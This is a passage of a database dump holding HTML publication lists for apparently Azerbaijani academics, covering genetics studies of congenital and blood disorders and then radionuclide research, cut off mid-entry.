style=\"vertical-align:top\"><strong>35.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Сравнительный анализ врожденных патологий в Муганской и Ширванской зонах Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Журнал \"Успехи современного естествознания\" – М: Изд-во «Академия Естествознания», №8, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.22-25</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>36.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Изучение распространения и структуры врожденных патологий в Алибайрамлинском районе Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Рцблцк елми-практики журнал «Азярбайъан тябабятинин мцасир наилиййятляри» - Бакы, №2, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 89-91</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Э.М.Расулов</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>37.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Врожденные пороки развития и наследственные болезни в Муганской зоне Азербайджана&nbsp;</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Рцблцк елми-практики журнал «Азярбайъан тябабятинин мцасир наилиййятляри» - Бакы, №3, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 83-87</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>38.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Генетическая активность эфирного масла чабера</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">«Еколоэийа: тябият вя ъямиййят проблемляри»-Бейналхалг елми конфранс, Бакы, 8-9 нойабр 2007 / Бейналхалг елми конфрансын материаллары, Бакы, 8-9 нойабр 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 276-277</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Р.Ф.Гейдарова, С.А.Мамедова</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>39.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Медико-генетическое исследование населения Казахского района Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Елми – практик журнал «Саьламлыг» - Бакы, №8, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 106-110</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Э.М.Расулов</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>40.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Исследование врожденных пороков развития и наследственных заболеваний в Западной зоне Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Журнал \"Успехи современного естествознания\" – М: Изд-во «Академия Естествознания», №10, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 22-25</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>41.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Генетико-эпидемиологические исследования врожденных патологий в двух популяциях Азербайджанской Республики</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">«Бакы Университетинин хябярляри» журналы, Тябият елмляри серийасы, №2, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 80-84</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>42.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Молекулярно-генетическое распределение мутаций β-глобинового гена среди популяции Муганской и Ширванской зон Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Азярбайъан Онколоэийа вя Щематолоэийа Журналы, №2, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 125-128</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>43.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Изучение наследственных заболеваний крови в популяции Западной зоны Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Журнал «Биомедицина», Баку, №4, 2007</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 21-24</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>44.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Распространение наследственных заболеваний системы крови в Муганской зоне Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Журнал «Биомедицина», Баку, №1, 2008</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 43-46</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>45.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Распространение β-талассемии в Муганской зоне Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">«Биолоэийанын мцасир проблемляри» мювзусунда республика елми конфрансынын материаллары, 25-26 апрел, БДУ, 2008.&nbsp;</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 130-131</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Р.А. Кулиев</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>46.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Анализ наследственных нарушений системы крови в трех зонах Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Журнал \"Фундаментальные исследования\" – М: Изд-во «Академия Естествознания», №7, 2008</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 14-18</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>47.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Исследование нарушений центральной нервной системы и органов чувств среди населения Западной зоны Азербайджана&nbsp;</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Журнал \"Современные проблемы науки и образования\" – М: Изд-во «Академия Естествознания», №3, 2009</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 9-13</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>48.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Популяционно-генетические исследования заболеваний центральной нервной системы среди населения Алибайрамлинского района Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Bakı Dövlət Universitetinin 90 illik yubileyinə həsr olunmuş Beynalxalq Elmi Konfransın materialları (Təbiət elmləri), 30-31 oktyabr, Bakı, 2009</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 397</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Р.А.Кулиев</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>49.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Распространение врожденных аномалий скелетной системы в популяциях Муганской и Ширванской зон Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Журнал \"Фундаментальные исследования\" – М: Изд-во «Академия Естествознания», №8, 2009</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 6-10</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>50.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Fərdi inkişafın biologiyası” fənnindən praktiki məşğələyə dair metodik vəsait</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Bakı Universiteti” Nəşriyyatı, 2010</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">36 s.</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>51.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Исследование распространения некоторых заболеваний крови среди населения Таузского района Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Материалы научной международной конференции «Фундаментальные исследования», Израиль, 10-17 апреля 2010 г., опубликовано: «Международный журнал прикладных и фундаментальных исследований», М., №5, 2010</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s. 73-74</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>52.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Генетические исследования популяции Казахского района Азербайджана</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Мат-лы научной международной конференции «Проблемы международной интеграции национальных образовательных стандартов, 23 апреля – 21 мая 2010 г., Париж-Лондон. «Международный журнал экспериментального образования», М., №5, 2010</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s. 16-17</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>53.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Нарушения центральной нервной системы и органов чувств среди популяции Муганской зоны Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Журнал «Успехи современного естествознания», М., №6, 2010</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s. 27-31</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>54.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Влияние экстракта из плодов киви на индуцированный мутационный процесс в клетках Escherichia coli</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">AMEA Mikrobiologiya İnstitutun Elmi Əsərləri, cild VIII, 2010</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.26-31</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>55.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Методика преподавания биологии</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Учебное пособие, Баку: Masterprint MMC, 2011</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">213 s.</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">К.Н.Микаилова</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>56.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Нарушения центральной нервной системы</p><p style=\"margin:0px 0px 10px;padding:0px\">и органов чувств среди популяции</p><p style=\"margin:0px 0px 10px;padding:0px\">Ширванской зоны Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Журнал «Успехи современного естествознания», М.,&nbsp; №4, 2011</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.27-30</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>57.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Патологии ЦНС и органов чувств в популяции Таузского района</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Gənc alimlərin və tədqiqatçıların Müasir biologiyanın nəzəri və tədbiqi problemləri mövzusunda Beynəlxalq Elmi konfransının materialları, 29-30 aprel, Bakı, 2011</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.122-123</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>58.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Frequency of gene mutations in regions of Azerbaijan</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Gənc alimlərin və tədqiqatçıların Müasir biologiyanın nəzəri və tədbiqi problemləri mövzusunda Beynəlxalq Elmi konfransının materialları, 29-30 aprel, Bakı, 2011</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.123-124</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>59.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Mutations of beta-globins gene in the population of Azerbaijan</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">X International Congress of Medical Sciences, 12-15, May, 2011, Sofia, Bulgaria</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.81</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>60.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">The research of beta-GG mutations using molecular methods among the Mugan region population</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Gənc alimlərin və tədqiqatçıların Müasir biologiyanın innovasiya problemləri mövzusunda Beynəlxalq Elmi konfransının materialları, 25-26 may, Bakı, 2012</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.132-133</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>61.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">The comparison of beta-globin gene mutations between populations of Mughan region of Azerbaijan and Shiraz region of Iran</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">5th Annual Meeting of NGFN-Plus and NGFN-Transfer in the Program of Medical Genome Research, 11-13 December 2012, DKFZ, Heidelberg</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.222</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Asghar Ebrahimi</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>63.</strong></p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Эпидемиология, лабораторные показатели и генетическая гетерогенность дефицита фермента Г-6-ФД в Саатлинском и Сальянском районах Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">AMEA-nın Mikrobiologiya İnstitutunun elmi əsərləri, 2013, cild 11 (1)</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.249-253</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>64</strong>.</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">History of the Study and Solution to the Problem of&nbsp;β-Thalassemia in Azerbaijan</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal of Clinical Medicine of Kazakhstan, 2013; 4 (30)</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">p. 21-28</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>65.</strong></p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Методика преподавания биологии</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Bakalavr pilləsi üçün proqram, 2013</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>66.</strong></p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Метод Reverse Hybridization StripAssay в постановке точного диагноза типа мутации β-талассемии</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">AMEA-nın Mikrobiologiya İnstitutunun elmi əsərləri, 2013, cild 11 (2)<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.133-141</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>67.</strong></p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Современные ДНК-технологии в генетической идентификации ценных пород в коневодстве</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">AMEA-nın Mikrobiologiya İnstitutunun elmi əsərləri, 2013, cild 11 (2)<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.151-157</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>68.</strong></p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Mitochondrial DNA research in population genetics, forensic and medicine: goals and perspective</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">AMEA-nın Genetik Ehtiyatlar İnstitutunun elmi əsərləri, 2013, cild 4<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.276-283</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>69.</strong></p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Комплексный мутационный анализ НВВ-гена для определения ассоциированной β-гемоглобинопатии в Ахсуинском районе Азербайджанской Республики</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">«Бакы Университетинин хябярляри» журналы, Тябият елмляри серийасы, №1, 2014<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">s.60-70</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>70.</strong></p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">An integrated clinical-laboratory and molecular-genetic approach in the diagnosis of genetic abnormalities among the population of Azerbaijan Republic</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal of Clinical Medicine of Kazakhstan, 2014; 3 (33)</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">p. 8-12</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>71.</strong></p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">RDBH-метод и технология Big DyeTM Terminator в постановке точного диагноза при β-талассемии и аллельном полиморфизме β-глобинового кластера</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Georgian Medical News, 2014; 11 (236)<strong><em>&nbsp;</em></strong></p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">p.67-73</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td></tr><tr height=\"0\"><td width=\"44\">&nbsp;</td><td width=\"330\">&nbsp;</td><td width=\"340\">&nbsp;</td><td width=\"1\">&nbsp;</td><td width=\"114\">&nbsp;</td><td width=\"121\">&nbsp;</td></tr></tbody></table></div><br></div>'),(825,563,'en','Seadat Khudaverdiyeva','Seadat Khudaverdiyev','<div><br></div><div><p>M.A.Abdullayev, <strong>S.R.Khudaverdiyeva</strong> Distribution and\r\nmigration of natural and artificial radionuclides in biogeocenoses of Absheron.\r\nJournal of Radiation Research, v.2, No 2, 2015,p.32 -40, Baku</p>\r\n<p>Гарибов А.А., Абдуллаев М.А., <strong>Худавердиева\r\nС.Р. </strong>Радиоэкологические особенности биогеоценозов Апшеронского полуострова\r\n(на примере Сабунчинского района г.Баку). Материалы III Международной научно-практической конференции в рамках\r\nфорума «Безопасность и связь». Часть III. Казань, 2014. Стр. 618-625.</p>\r\n<p>Абдуллаев М.А., Самедов А.Н., <strong>Худавердиева\r\nС.Р.</strong> Естественные и искусственные радионуклиды в биогеоценозах Апшеронского\r\nполуострова (на примере Сабунчинского района г.Баку) . Сборник научных трудов\r\nМеждународной Научно-практической Конференции «Экологическое состояние\r\nприродной среды и научно-практические аспекты современных мелиоративных\r\nтехнологий», Рязань, 2012, c.343-347</p>\r\n<p>Абдуллаев М.А., <strong>Худавердиева С.Р.</strong>\r\nvə b. Поведение&nbsp; естественных и\r\nискусственных радионуклидов в почвах Имишлинского района&nbsp; Кура-Араксинкой низменности Азербайджана. II\r\nМеждународная научно-практическая конференция&nbsp;\r\n«Современные проблемы безопасности жизнедеятельности: теория и практика»\r\nКазань, 2012, c.6-13</p>\r\n<p>Абдуллаев М.А., <strong>Худавердиева С.Р.</strong>,&nbsp; Нагиев Дж.А., Асадова И.Б. Миграция\r\nестественных и искусственных радионуклидов в почвах Кура-Араксинской\r\nнизменности Азербайджана (на примере Саатлинского района). Сборник трудов&nbsp; Международной конференция\r\n\"Радиоэкологические и экологические исследования\", Тбилиси,&nbsp;&nbsp; 